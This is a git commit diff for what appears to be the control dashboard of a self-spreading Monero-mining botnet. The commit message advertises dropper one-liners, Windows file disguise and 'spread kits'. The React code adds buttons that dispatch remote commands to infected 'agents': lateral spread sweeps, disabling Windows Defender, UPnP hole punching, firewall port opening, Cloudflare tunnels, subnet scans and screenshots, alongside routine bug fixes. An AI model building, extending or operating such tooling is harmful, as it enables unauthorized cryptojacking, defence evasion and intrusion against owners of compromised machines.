Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
@@ -1,7 +1,7 @@
|
||||
import AgentRemoteActions from './AgentRemoteActions';
|
||||
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
|
||||
import type { Agent } from '../../types';
|
||||
import type { WSMessage } from '../../types';
|
||||
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
||||
|
||||
interface Props {
|
||||
agent: Agent;
|
||||
@@ -12,7 +12,7 @@ interface Props {
|
||||
onToggleExpand: () => void;
|
||||
onSelect: () => void;
|
||||
onCheck?: (checked: boolean) => void;
|
||||
latestWsMessage?: WSMessage | null;
|
||||
commandResults?: SeqCommandResult[];
|
||||
}
|
||||
|
||||
export default function AgentListItem({
|
||||
@@ -24,7 +24,7 @@ export default function AgentListItem({
|
||||
onToggleExpand,
|
||||
onSelect,
|
||||
onCheck,
|
||||
latestWsMessage,
|
||||
commandResults,
|
||||
}: Props) {
|
||||
const online = agent.status === 'online';
|
||||
|
||||
@@ -58,6 +58,11 @@ export default function AgentListItem({
|
||||
)}
|
||||
<span className={`status-dot ${agent.status}`} />
|
||||
<span>{agent.name}</span>
|
||||
{agent.platform && (
|
||||
<span className="agent-tag-chip platform-badge" title={agent.os_version || agent.platform}>
|
||||
{agent.platform}{agent.arch ? `/${agent.arch}` : ''}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
||||
</div>
|
||||
@@ -89,7 +94,7 @@ export default function AgentListItem({
|
||||
<span>v{agent.version || '?'}</span>
|
||||
</div>
|
||||
{agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
|
||||
<AgentRemoteActions agent={agent} compact online={online} latestWsMessage={latestWsMessage} />
|
||||
<AgentRemoteActions agent={agent} compact online={online} commandResults={commandResults} />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
@@ -91,6 +91,13 @@
|
||||
.button-grid button.btn-red { border-color: rgba(255, 23, 68, 0.3); color: #ff1744; }
|
||||
.button-grid button.btn-red:hover { background: rgba(255, 23, 68, 0.1); box-shadow: 0 0 15px rgba(255, 23, 68, 0.4); }
|
||||
|
||||
.button-grid button.btn-magenta { border-color: rgba(255, 0, 255, 0.35); color: #ff00ff; }
|
||||
.button-grid button.btn-magenta:hover { background: rgba(255, 0, 255, 0.12); box-shadow: 0 0 15px rgba(255, 0, 255, 0.35); }
|
||||
|
||||
.aggressive-group { border-color: rgba(255, 0, 255, 0.15); }
|
||||
.aggressive-group h3 { color: #ff00ff; }
|
||||
.action-group-hint { margin: -8px 0 12px; font-size: 0.75rem; color: #666; line-height: 1.35; }
|
||||
|
||||
.screenshot-viewer {
|
||||
margin-bottom: 20px;
|
||||
border: 1px solid #00e5ff;
|
||||
|
||||
@@ -1,9 +1,12 @@
|
||||
import React, { useState, useRef, useEffect, useCallback } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { Agent, WSMessage } from '../../types';
|
||||
import type { WSCommandResult } from '../../types/ws';
|
||||
import type { Agent } from '../../types';
|
||||
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
||||
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
|
||||
import './AgentRemoteActions.css';
|
||||
|
||||
const TERMINAL_MAX_LINES = 500;
|
||||
|
||||
interface Props {
|
||||
/** Legacy: pass full agent object from list/detail pages */
|
||||
agent?: Agent;
|
||||
@@ -12,7 +15,11 @@ interface Props {
|
||||
/** Explicit online flag — use when agent object may be stale */
|
||||
online?: boolean;
|
||||
compact?: boolean;
|
||||
latestWsMessage?: WSMessage | null;
|
||||
/** Queue of recent command_result messages from the WS hook — replaces latestWsMessage.
|
||||
* Every entry is processed; no results are dropped (fixes M13). */
|
||||
commandResults?: SeqCommandResult[];
|
||||
/** @deprecated Pass commandResults instead. */
|
||||
latestWsMessage?: { type: string; payload: unknown } | null;
|
||||
onCommandSent?: (action: string) => void;
|
||||
}
|
||||
|
||||
@@ -22,7 +29,7 @@ export default function AgentRemoteActions({
|
||||
agentName: agentNameProp,
|
||||
online: onlineProp,
|
||||
compact = false,
|
||||
latestWsMessage,
|
||||
commandResults,
|
||||
onCommandSent,
|
||||
}: Props) {
|
||||
const agentId = agentIdProp ?? agent?.id ?? '';
|
||||
@@ -31,32 +38,58 @@ export default function AgentRemoteActions({
|
||||
|
||||
const [isDragging, setIsDragging] = useState(false);
|
||||
const [customCmd, setCustomCmd] = useState('');
|
||||
// terminalLog is capped at TERMINAL_MAX_LINES to prevent memory leak (L6)
|
||||
const [terminalLog, setTerminalLog] = useState<string[]>([]);
|
||||
const [screenshotData, setScreenshotData] = useState<string | null>(null);
|
||||
const [busy, setBusy] = useState<string | null>(null);
|
||||
const logEndRef = useRef<HTMLDivElement>(null);
|
||||
// Track the highest _seq we've already processed.
|
||||
// Using _seq (monotonic ID) instead of array index prevents the ring-buffer drop bug
|
||||
// where .slice(-N) trims old entries so absolute indices exceed the array length.
|
||||
const lastSeenSeq = useRef(0);
|
||||
|
||||
const addLog = useCallback((msg: string) => {
|
||||
setTerminalLog((prev) => [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`]);
|
||||
setTerminalLog((prev) => {
|
||||
const next = [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`];
|
||||
// Cap at TERMINAL_MAX_LINES — drop oldest entries (L6)
|
||||
return next.length > TERMINAL_MAX_LINES ? next.slice(next.length - TERMINAL_MAX_LINES) : next;
|
||||
});
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
logEndRef.current?.scrollIntoView({ behavior: 'smooth' });
|
||||
}, [terminalLog]);
|
||||
|
||||
// When the selected agent changes, reset the seen-seq cursor to the current maximum.
|
||||
// This prevents reprocessing results from the previous agent or a stale queue.
|
||||
useEffect(() => {
|
||||
if (!latestWsMessage || latestWsMessage.type !== 'command_result') return;
|
||||
const payload = latestWsMessage.payload as WSCommandResult;
|
||||
const { agent_id, action, success, message } = payload;
|
||||
if (agentId && agentId !== 'all' && agent_id !== agentId) return;
|
||||
|
||||
if (action === 'screenshot' && success && message) {
|
||||
setScreenshotData(`data:image/jpeg;base64,${message}`);
|
||||
addLog(`Screenshot received from ${agent_id}`);
|
||||
} else if (action) {
|
||||
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
|
||||
if (commandResults && commandResults.length > 0) {
|
||||
lastSeenSeq.current = commandResults[commandResults.length - 1]._seq;
|
||||
}
|
||||
}, [latestWsMessage, agentId, addLog]);
|
||||
// Intentionally only runs on agentId change — commandResults excluded from deps
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [agentId]);
|
||||
|
||||
// Process every new commandResults entry we haven't seen yet (M13 — no drops).
|
||||
// Filters by _seq so the ring-buffer trim never makes us miss results.
|
||||
useEffect(() => {
|
||||
if (!commandResults || commandResults.length === 0) return;
|
||||
const newEntries = commandResults.filter((r) => r._seq > lastSeenSeq.current);
|
||||
if (newEntries.length === 0) return;
|
||||
lastSeenSeq.current = newEntries[newEntries.length - 1]._seq;
|
||||
|
||||
for (const payload of newEntries) {
|
||||
const { agent_id, action, success, message } = payload;
|
||||
if (agentId && agentId !== 'all' && agent_id !== agentId) continue;
|
||||
|
||||
if (action === 'screenshot' && success && message) {
|
||||
setScreenshotData(`data:image/jpeg;base64,${message}`);
|
||||
addLog(`Screenshot received from ${agent_id}`);
|
||||
} else if (action) {
|
||||
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
|
||||
}
|
||||
}
|
||||
}, [commandResults, agentId, addLog]);
|
||||
|
||||
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
|
||||
if (!agentId) {
|
||||
@@ -69,6 +102,9 @@ export default function AgentRemoteActions({
|
||||
}
|
||||
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
|
||||
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
|
||||
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
|
||||
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
|
||||
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
|
||||
|
||||
setBusy(action);
|
||||
try {
|
||||
@@ -130,6 +166,14 @@ export default function AgentRemoteActions({
|
||||
}
|
||||
|
||||
const isFleet = agentId === 'all';
|
||||
const caps = agent?.capabilities;
|
||||
const platform = agent?.platform;
|
||||
|
||||
const aggDisabled = (action: Parameters<typeof canRunAggressiveAction>[0]) =>
|
||||
!isOnline || !!busy || !canRunAggressiveAction(action, caps, platform);
|
||||
|
||||
const aggTitle = (action: Parameters<typeof canRunAggressiveAction>[0]) =>
|
||||
aggressiveActionHint(action, caps, platform);
|
||||
|
||||
return (
|
||||
<div className="tactical-panel">
|
||||
@@ -170,6 +214,94 @@ export default function AgentRemoteActions({
|
||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="action-group aggressive-group">
|
||||
<h3>NAT & Aggressive Ops</h3>
|
||||
<p className="action-group-hint">Point-and-shoot — requires Advanced forge toggles on the agent.</p>
|
||||
<div className="button-grid">
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('hole_punch_status')}
|
||||
title={aggTitle('hole_punch_status')}
|
||||
onClick={() => dispatch('hole_punch_status')}
|
||||
>
|
||||
WAN IP
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('hole_punch')}
|
||||
title={aggTitle('hole_punch')}
|
||||
onClick={() => dispatch('hole_punch', { command: '8989', path: '8989' })}
|
||||
>
|
||||
Hole Punch
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('hole_punch_close')}
|
||||
title={aggTitle('hole_punch_close')}
|
||||
onClick={() => dispatch('hole_punch_close', { command: '8989' })}
|
||||
>
|
||||
Close Punch
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('firewall_punch')}
|
||||
title={aggTitle('firewall_punch')}
|
||||
onClick={() => dispatch('firewall_punch', { command: '8989' })}
|
||||
>
|
||||
Open FW Port
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('start_tunnel')}
|
||||
title={aggTitle('start_tunnel')}
|
||||
onClick={() => dispatch('start_tunnel')}
|
||||
>
|
||||
Cloudflare Tunnel
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('subnet_scan')}
|
||||
title={aggTitle('subnet_scan')}
|
||||
onClick={() => dispatch('subnet_scan', { command: '64' })}
|
||||
>
|
||||
Subnet Scan
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('spread_now')}
|
||||
title={aggTitle('spread_now')}
|
||||
onClick={() => dispatch('spread_now')}
|
||||
>
|
||||
Spread Now
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('mesh_status')}
|
||||
title={aggTitle('mesh_status')}
|
||||
onClick={() => dispatch('mesh_status')}
|
||||
>
|
||||
Mesh Peers
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-red"
|
||||
disabled={aggDisabled('defender_off')}
|
||||
title={aggTitle('defender_off')}
|
||||
onClick={() => dispatch('defender_off')}
|
||||
>
|
||||
Disable Defender
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{screenshotData && (
|
||||
|
||||
@@ -121,12 +121,6 @@
|
||||
grid-column: span 2;
|
||||
}
|
||||
|
||||
.agent-actions {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
margin-top: 1rem;
|
||||
}
|
||||
|
||||
.agent-action-btn {
|
||||
padding: 0.4rem 0.75rem;
|
||||
|
||||
@@ -92,10 +92,16 @@ export function EarningsEstimator({ hashrate }: { hashrate: number }) {
|
||||
setXmrPerDay(null);
|
||||
return;
|
||||
}
|
||||
// AbortController ensures a stale in-flight response never overwrites a
|
||||
// newer estimate when hashrate changes rapidly (fixes M16).
|
||||
const controller = new AbortController();
|
||||
api.getEarningsEstimate(hashrate).then((r) => {
|
||||
setXmrPerDay(r.xmr_per_day);
|
||||
setNote(r.note);
|
||||
}).catch(console.error);
|
||||
if (!controller.signal.aborted) {
|
||||
setXmrPerDay(r.xmr_per_day);
|
||||
setNote(r.note);
|
||||
}
|
||||
}).catch((err) => { if (!controller.signal.aborted) console.error(err); });
|
||||
return () => controller.abort();
|
||||
}, [hashrate]);
|
||||
|
||||
if (xmrPerDay == null || hashrate <= 0) return null;
|
||||
|
||||
Reference in New Issue
Block a user